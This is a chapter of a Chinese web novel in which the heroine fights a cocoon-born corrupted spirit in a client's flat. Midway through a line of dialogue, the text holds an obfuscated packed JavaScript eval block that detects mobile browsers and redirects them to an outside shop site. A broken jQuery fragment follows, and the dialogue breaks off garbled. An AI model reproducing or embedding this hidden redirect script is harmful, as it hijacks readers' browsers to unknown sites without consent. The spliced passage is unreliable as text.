那只茧有半人高,挂在天花板与两面墙壁的夹角处,上面裹着厚厚的枯黄的丝线,一层有一层,杂乱又紧密地包裹着。整只茧微微鼓胀起伏着,外层的黄丝也随之微微翕动。

    像是有什么活物蛰伏在其中,隐秘地呼吸着。

    不知是不是错觉,林砂嗅到一股若有似无得土腥味,像是什么东西腐烂的味道。

    “滴,检测到异化污染体!触发特殊任务:清理工lv1”

    “任务内容:清除污染体蒙魑。任务奖励:生命值*50,影响力*1000。”

    林砂被奖励小小地震惊了一下,系统竟然这么大方,任务一定有些棘手。

    不过异化、污染体、蒙魑这些又是什么?

    林砂正在心里疑惑,系统解释道:“魂体在不稳定的时候,会被异能量污染侵蚀,从而发生异变。异变的魂体会丧失神智,变得更具攻击性。”

    异能量?这个世界百鬼夜行就已经很离谱了,异能量又是从哪而来的?

    “那是一种寄生于这个世界的特殊能量。”系统语气有些严肃,“世界与世界之间是互斥的,每个世界独立存在。比如你所在的道京市与现在所处的昭宁市,都是处于独立的世界里。原则上两个世界是不会有交集的,只能通过神力撑起光门,打开两个世界连接的通道。”

    “但是有一种游走于世界之间的异能量,可以捕捉世界波动的频率,在防护薄弱的时机趁机入侵,污染本世界的精神体。被污染的精神体会被放大欲望,从而变得暴躁、易怒甚至疯狂。”

    “而精神力薄弱的精神体,则会在污染的影响下失去神智,成为连姓名都忘记的‘蒙魑’。”

    巨茧的“蚕丝”无风自动,如垂落在侧沉眠的触手。蛰伏在内的东西似乎随时可以醒来。

    林砂舔了舔嘴唇,“这种污染体怕是比较难缠吧。”普通魂体她一拳一个,但是对于这种异化体,她没有十成十的把握。哪有游魂长成这种诡异模样的啊?

    林砂对于这种茧状的生物有一种抵触心理,谁知道里面会不会钻出一个带口器的软体生物,光是这么想着,她就浑身起鸡皮疙瘩。

    “我不想干了,走了走了。”

    这任务还是算了吧,面对这样东西,奖励再丰厚也不够弥补她失去的San值。墙上那只怪物看起来能一口吞了她。

    让方蕊换个房子住得了。

    林看无表情地做了最怂的决定。

    现在想想,她摆摊赚的生命值能换一个月的生命,就这个任务放弃了她也还能摆摊把生命值赚回来。

    这么想着,林砂不顾脑子里系统的唾弃,准备小心地退出浴室。

    “你找到了它吗?它还在这里吗?”方蕊脚步匆匆走进浴室,紧贴着林砂。现在只有林砂能给她安全感,在这个随时可能出现诡异的房间里,她不想离开林砂一步。

    林砂回头给她比了一个噤声的手势,可就在方蕊踏进浴室的一瞬间,那颗茧上的“蚕丝”突然停止了摆动。

    下一秒,无数“蚕丝”闻声而动,从巨茧上层层剥离,以惊人的速度齐齐朝着方蕊的方向刺来!

    “小心!”

    就在“蚕丝”刺中方蕊的瞬间,林砂揽过方蕊的肩膀将其压到一边,险险避过袭来的枯丝,方蕊什么都看不见,但是却真真切切感受到了擦肩而过的寒气——那种熟悉的,日日侵蚀折磨她的凉意。

    她瞬间明白了什么,腿有些发软,捂着嘴惊恐地看向林砂注视的方向。

    一击击空,那“蚕丝”竟停下了动作。

    二人屏住呼吸,努力降低存在感。林砂将方蕊护在身后,一手插进兜里摸索着,那个巨茧在二人的注视下发出窸窸窣窣的摩擦声,周身的蚕丝迅速收束,整个巨茧像一团被扯松的线球。茧的顶端被顶得凸起,有什么东西在里面不断地鼓动着,挣扎欲出。

    几乎是瞬间,一个狰狞的人头破茧而出!

    那已经算不上是人了,人头上的眼睛蒙了一层白翳,五官像被消化液腐蚀掉了一般,整张脸往下滴着液体,诡异又恶心。

    无数“蚕丝”在人头摆动间收拢,林砂终于看清,那些枯黄的“蚕丝”竟是它的头发,散乱枯黄的发丝将那人层层包裹、孵化。

    方蕊说她清理浴室时发现的黄色头发,大概就来自这个东西。

    茧里的脑袋似乎不适应早上的光线,偏过脸去,躲开了门外照进来的光线,头颅摆动着,像是在探寻林砂的方位。

    方蕊在林砂身后不住地发抖,浴室的温度比起刚才下降了几度,有什么东西在她看不见的地方像盯着猎物一般窥视着她……

    这种感觉勾起了她噩梦里的恐惧,连带着抓着林砂的手也握紧了几分。她一点点后退,直到贴在墙上,急促喘息着,她怕得想大喊,但却又想起林砂给她比了噤声的手势,生怕叫出声会连累林砂,硬是咬着下唇哆嗦着不敢发出一点声音。

    茧里的头颅像生了锈的轴承一般,艰涩地一寸寸偏过脸,在无声地辨认着什么。就在转向林砂二人的那一刻,突然张嘴发出尖锐的嘶吼,整个身体从茧里挣脱而出,躬身向着林砂身后扑来。

    林砂下意识拖着方蕊向侧方一滚,挥手将紧攥在手心里的香灰尽数向蒙魑撒出。

    蒙魑一时不备,被香灰撒了满头,浑身的灼烫刺痛让它哀嚎着滚了一圈,继而愤怒地咆哮着扑向林砂。

    林砂微微偏头目测了方蕊的位置,手向后探去,抓住了浴帘。

    蒙魑张开如飞蛾盘曲的口器,周身发丝唰地抖开,铺天盖地般朝林砂袭来。口器直逼林砂双眼,就在触碰到的一瞬间,林砂一把扯下浴帘,振臂一挥,将蒙魑团团包裹住,她迅速拉起缩在浴缸里的方蕊跑出浴室,用随手顺来的背刷卡住了门把手。

    蒙魑挣扎着爬出浴帘,它鼻翼翕动爬行着在浴室伏地一寸一寸探寻,在行至浴室门口时,它发现了什么,两双枯瘦利爪奋力拍击着浴室门妄图破门而出。

    林砂和方蕊趁机躲到了卧室里。

    方蕊完全慌了神,在香灰撒到蒙魑身上那一瞬间,勾勒出一个诡异的身形。借助灰粉她终于见到了那东西的全貌,扭曲、狰狞…就是这个东西,在过去一直在她背后紧贴着她!

    听着浴室里传来的拍击声和指甲划过门板的刺耳声,方蕊再也受不了,啜泣一声便慌不择路地趴在地板上试图钻到床底下。

    林砂扯着她的腿把她拉了出来,“别怕,还有我呢。一旦它进了房间,你待在床底岂不是被它瓮中捉鳖。”

    “我看到它了,”方蕊有些崩溃,“那个就是它,是吗?那到底是个什么东西?为什么跟着我?它到底想做什么?我总听见它咀嚼吸食的声音,它是不是一直在吃我?!”

    方蕊问得太多,林砂一时不知道如何开口。她不知道怎么哄人,想了一阵,生硬道:“它之前其实也没害你太多,就是吸了你一些阳气……你看,它才刚刚从茧里羽化,长出一半尖牙,这时候才是吃人的呢。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863413|212115||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    方蕊闻言更绝望了,瘫坐在地板上掏出手机,手指哆嗦着准备在社交平台上写遗言。

    客厅传来一声轰响,浴室的门被大力砸开,紧接着,从门外响起一阵古怪的“沙沙”声,带着些黏腻、厚重,滞涩而缓慢的声响。

    就像有什么东西在缓慢地爬行蠕动。

    隔着门缝,林砂看到一道暗影匍匐着。

    那道身影趴在地上,双手向上翘着,两肘着地,以一种诡异扭曲的姿势向前缓缓爬行。

    它的背上有两只薄而透明的残翼,仿佛尚未变异完全,就被从茧中唤醒。

    蒙魑伏地爬着,发丝像蛾的触须一般,向四周攀爬探视。

    在经过林砂二人藏身的房间时,林砂屏住呼吸,伸手示意方蕊躲好。蒙魑蹭着墙面,向着走廊深处爬去。见它走远,林砂刚松了一口气,门缝处突然贴上一只几乎没有瞳孔的眼睛,和林砂直直对视。

    那一瞬间,林砂感觉心脏骤然抽紧。

    “是它,是它!”方蕊一直盯着门的方向,猝不及防被那只眼球吓了一跳。

    下一刻,蒙魑嘶叫着双爪刺入木门,奋力地撕扯着。卧室的木门摇摇欲坠,就在木门轰然倒塌之际,林砂从梳妆台上一把抓过一瓶香水,将方蕊从头到脚喷了一遍。

    破门而入的蒙魑像失去了方向,突然停滞,偏头感应着。

    果然,是嗅觉。

    方才在浴室,那蒙魑对阳光极其敏感,而且对她们二人可以说是视而不见。需要从其他感官上“锁定”她们。所以并非靠视觉。而选择在浴室羽化,也正是为了避光。

    她们二人已经竭力保持安静,方蕊哪怕再害怕也未发出叫喊声,但是蒙魑依然可以精准地向她们发出攻击。它也并非靠听觉。

    刚刚,它明明已经爬远,却还能找到她们二人的藏身之所……

    是嗅觉。它能闻到方蕊的味道。

    林砂的大脑飞速地转着,她在心里喊着系统:“援助援助!有没有什么斩妖除魔的兵器快给我一把!”

    自从播报任务后,系统就默不作声。此刻听到林砂的呼唤,扭扭捏捏地答道:“抱歉宿主,能量值不够,无法兑换。”

    林砂在心里呸了它一口,再次后悔接了这个高难度挑战。当时在烧烤摊,这个蒙魑明明还是个与其他亡魂无异的魂体,谁知道它会突然变异。

    在林砂疯狂思考的时候,方蕊的心却如坠冰窟。

    她满脑子只有两个字:完了。

    浑身都是浓郁到刺鼻的香水味,熏得她大脑有些发晕,她手里紧紧抱着一只花瓶当作武器,一时间不知道如果外面那只怪物冲进来了,是要把花瓶砸它头上,还是砸自己头上来个痛快。

    若是没有见到,她尚可压下内心对诡异邪魔的恐惧,如今已见得那蒙魑的全貌,她内心的恐惧已经飙升到了最高点,心里只剩一个想法:死定了。

    不对,还有林老板。数次死里逃生,她一定有办法,她也是唯一的出路……

    方蕊看向林砂,对方正蹲坐在沙发旁,手里攥着一只打火机,以一种蓄势待发的机动姿势正面对着蒙魑。她背上纤细柔韧的肌肉紧绷着,像一只狩猎的豹子。

    “等下躲好,我去引开它。”

    方蕊闻言瞪大了双眼,只见林砂将手里的打火机点燃,向着蒙魑的位置狠狠砸过去。就在蒙魑的残翅挨到火光闪身避退的瞬间,林砂一脚蹬上门旁的立柜,借力从蒙魑闪身的空隙飞跃出去。